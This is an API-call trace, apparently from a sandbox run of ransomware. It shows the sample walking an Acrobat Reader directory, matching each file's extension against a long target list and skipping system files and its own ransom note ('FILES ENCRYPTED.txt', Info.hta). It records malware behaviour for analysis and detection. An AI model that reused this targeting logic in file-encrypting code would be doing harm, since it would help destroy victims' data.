	[0176.128] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".jpc") returned 4
	[0176.128] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1
	[0176.128] lstrlenW (lpString=".jpe") returned 4
	[0176.128] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".jpeg") returned 5
	[0176.129] lstrcmpiW (lpString1=".jpeg", lpString2="x.png") returned -1
	[0176.129] lstrlenW (lpString=".jpf") returned 4
	[0176.129] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".jpg") returned 4
	[0176.129] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".jpx") returned 4
	[0176.129] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".js") returned 3
	[0176.129] lstrcmpiW (lpString1=".js", lpString2="png") returned -1
	[0176.129] lstrlenW (lpString=".jsf") returned 4
	[0176.129] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".json") returned 5
	[0176.129] lstrcmpiW (lpString1=".json", lpString2="x.png") returned -1
	[0176.129] lstrlenW (lpString=".jsp") returned 4
	[0176.129] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".kdc") returned 4
	[0176.129] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".kmz") returned 4
	[0176.129] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".kwm") returned 4
	[0176.129] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".lasso") returned 6
	[0176.129] lstrcmpiW (lpString1=".lasso", lpString2="2x.png") returned -1
	[0176.129] lstrlenW (lpString=".lbi") returned 4
	[0176.129] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".lgf") returned 4
	[0176.129] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".lgp") returned 4
	[0176.129] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".log") returned 4
	[0176.129] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".m1v") returned 4
	[0176.129] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1
	[0176.129] lstrlenW (lpString=".m4a") returned 4
	[0176.130] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".m4v") returned 4
	[0176.130] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".max") returned 4
	[0176.130] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".md") returned 3
	[0176.130] lstrcmpiW (lpString1=".md", lpString2="png") returned -1
	[0176.130] lstrlenW (lpString=".mda") returned 4
	[0176.130] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mdb") returned 4
	[0176.130] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mde") returned 4
	[0176.130] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mdf") returned 4
	[0176.130] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mdw") returned 4
	[0176.130] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mef") returned 4
	[0176.130] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mft") returned 4
	[0176.130] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mfw") returned 4
	[0176.130] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mht") returned 4
	[0176.130] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mhtml") returned 6
	[0176.130] lstrcmpiW (lpString1=".mhtml", lpString2="2x.png") returned -1
	[0176.130] lstrlenW (lpString=".mka") returned 4
	[0176.130] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mkidx") returned 6
	[0176.130] lstrcmpiW (lpString1=".mkidx", lpString2="2x.png") returned -1
	[0176.130] lstrlenW (lpString=".mkv") returned 4
	[0176.130] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1
	[0176.130] lstrlenW (lpString=".mos") returned 4
	[0176.131] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".mov") returned 4
	[0176.131] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".mp3") returned 4
	[0176.131] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".mp4") returned 4
	[0176.131] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".mpeg") returned 5
	[0176.131] lstrcmpiW (lpString1=".mpeg", lpString2="x.png") returned -1
	[0176.131] lstrlenW (lpString=".mpg") returned 4
	[0176.131] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".mpv") returned 4
	[0176.131] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".mrw") returned 4
	[0176.131] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".msg") returned 4
	[0176.131] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".mxl") returned 4
	[0176.131] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".myd") returned 4
	[0176.131] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".myi") returned 4
	[0176.131] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".nef") returned 4
	[0176.131] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".nrw") returned 4
	[0176.131] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".obj") returned 4
	[0176.131] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".odb") returned 4
	[0176.131] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".odc") returned 4
	[0176.131] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1
	[0176.131] lstrlenW (lpString=".odm") returned 4
	[0176.132] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".odp") returned 4
	[0176.132] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".ods") returned 4
	[0176.132] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".oft") returned 4
	[0176.132] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".one") returned 4
	[0176.132] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".onepkg") returned 7
	[0176.132] lstrcmpiW (lpString1=".onepkg", lpString2="-2x.png") returned -1
	[0176.132] lstrlenW (lpString=".onetoc2") returned 8
	[0176.132] lstrcmpiW (lpString1=".onetoc2", lpString2="w-2x.png") returned -1
	[0176.132] lstrlenW (lpString=".opt") returned 4
	[0176.132] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".oqy") returned 4
	[0176.132] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".orf") returned 4
	[0176.132] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".p12") returned 4
	[0176.132] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".p7b") returned 4
	[0176.132] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".p7c") returned 4
	[0176.132] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".pam") returned 4
	[0176.132] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".pbm") returned 4
	[0176.132] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1
	[0176.132] lstrlenW (lpString=".pct") returned 4
	[0176.133] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pcx") returned 4
	[0176.133] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pdd") returned 4
	[0176.133] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pdf") returned 4
	[0176.133] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pdp") returned 4
	[0176.133] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pef") returned 4
	[0176.133] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pem") returned 4
	[0176.133] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pff") returned 4
	[0176.133] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pfm") returned 4
	[0176.133] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pfx") returned 4
	[0176.133] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".pgm") returned 4
	[0176.133] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".php") returned 4
	[0176.133] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1
	[0176.133] lstrlenW (lpString=".php3") returned 5
	[0176.133] lstrcmpiW (lpString1=".php3", lpString2="x.png") returned -1
	[0176.133] lstrlenW (lpString=".php4") returned 5
	[0176.133] lstrcmpiW (lpString1=".php4", lpString2="x.png") returned -1
	[0176.133] lstrlenW (lpString=".php5") returned 5
	[0176.133] lstrcmpiW (lpString1=".php5", lpString2="x.png") returned -1
	[0176.133] lstrlenW (lpString=".phtml") returned 6
	[0176.133] lstrcmpiW (lpString1=".phtml", lpString2="2x.png") returned -1
	[0176.133] lstrlenW (lpString=".pict") returned 5
	[0176.133] lstrcmpiW (lpString1=".pict", lpString2="x.png") returned -1
	[0176.133] lstrlenW (lpString=".pl") returned 3
	[0176.134] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1
	[0176.134] lstrlenW (lpString=".pls") returned 4
	[0176.134] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1
	[0176.134] lstrlenW (lpString=".pm") returned 3
	[0176.134] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1
	[0176.134] lstrlenW (lpString=".png") returned 4
	[0176.134] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0
	[0176.134] lstrlenW (lpString="multi-tab-file-view-2x.png") returned 26
	[0176.134] lstrlenW (lpString=".GTF") returned 4
	[0176.134] lstrcmpiW (lpString1=".GTF", lpString2=".png") returned -1
	[0176.134] lstrlenW (lpString="multi-tab-file-view-2x.png") returned 26
	[0176.134] lstrcmpiW (lpString1="boot.ini", lpString2="multi-tab-file-view-2x.png") returned -1
	[0176.134] lstrcmpiW (lpString1="bootfont.bin", lpString2="multi-tab-file-view-2x.png") returned -1
	[0176.134] lstrcmpiW (lpString1="ntldr", lpString2="multi-tab-file-view-2x.png") returned 1
	[0176.134] lstrcmpiW (lpString1="ntdetect.com", lpString2="multi-tab-file-view-2x.png") returned 1
	[0176.134] lstrcmpiW (lpString1="io.sys", lpString2="multi-tab-file-view-2x.png") returned -1
	[0176.134] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="multi-tab-file-view-2x.png") returned -1
	[0176.134] lstrcmpiW (lpString1="Info.hta", lpString2="multi-tab-file-view-2x.png") returned -1
	[0176.134] lstrcmpiW (lpString1="fvppjh.exe", lpString2="multi-tab-file-view-2x.png") returned -1
	[0176.134] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\multi-tab-file-view-2x.png") returned 150
	[0176.134] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238a, dwReserved0=0x0, dwReserved1=0x0, cFileName="multi-tab-file-view.png", cAlternateFileName="MULTI-~1.PNG")) returned 1
	[0176.134] lstrlenW (lpString="multi-tab-file-view.png") returned 23
	[0176.134] lstrlenW (lpString=".1cd") returned 4
	[0176.134] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0176.134] lstrlenW (lpString=".3ds") returned 4
	[0176.135] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".3fr") returned 4
	[0176.135] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".3g2") returned 4
	[0176.135] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".3gp") returned 4
	[0176.135] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".7z") returned 3
	[0176.135] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0176.135] lstrlenW (lpString=".accda") returned 6
	[0176.135] lstrcmpiW (lpString1=".accda", lpString2="ew.png") returned -1
	[0176.135] lstrlenW (lpString=".accdb") returned 6
	[0176.135] lstrcmpiW (lpString1=".accdb", lpString2="ew.png") returned -1
	[0176.135] lstrlenW (lpString=".accdc") returned 6
	[0176.135] lstrcmpiW (lpString1=".accdc", lpString2="ew.png") returned -1
	[0176.135] lstrlenW (lpString=".accde") returned 6
	[0176.135] lstrcmpiW (lpString1=".accde", lpString2="ew.png") returned -1
	[0176.135] lstrlenW (lpString=".accdt") returned 6
	[0176.135] lstrcmpiW (lpString1=".accdt", lpString2="ew.png") returned -1
	[0176.135] lstrlenW (lpString=".accdw") returned 6
	[0176.135] lstrcmpiW (lpString1=".accdw", lpString2="ew.png") returned -1
	[0176.135] lstrlenW (lpString=".adb") returned 4
	[0176.135] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".adp") returned 4
	[0176.135] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".ai") returned 3
	[0176.135] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0176.135] lstrlenW (lpString=".ai3") returned 4
	[0176.135] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".ai4") returned 4
	[0176.135] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".ai5") returned 4
	[0176.135] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1
	[0176.135] lstrlenW (lpString=".ai6") returned 4
	[0176.135] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1
	[0176.136] lstrlenW (lpString=".ai7") returned 4
	[0176.263] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.264] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0
	[0176.264] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0176.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.264] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0176.264] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js") returned 109
	[0176.269] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.269] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0176.269] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\ca-es") returned 119
	[0176.270] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.270] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0176.270] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.270] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0176.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.271] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0176.272] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.272] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0176.272] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.272] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0176.273] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.273] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0176.274] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.274] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0176.274] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.274] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0176.274] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.274] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0176.275] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.275] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0176.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.279] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0176.279] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.279] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0176.280] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.280] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0176.281] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
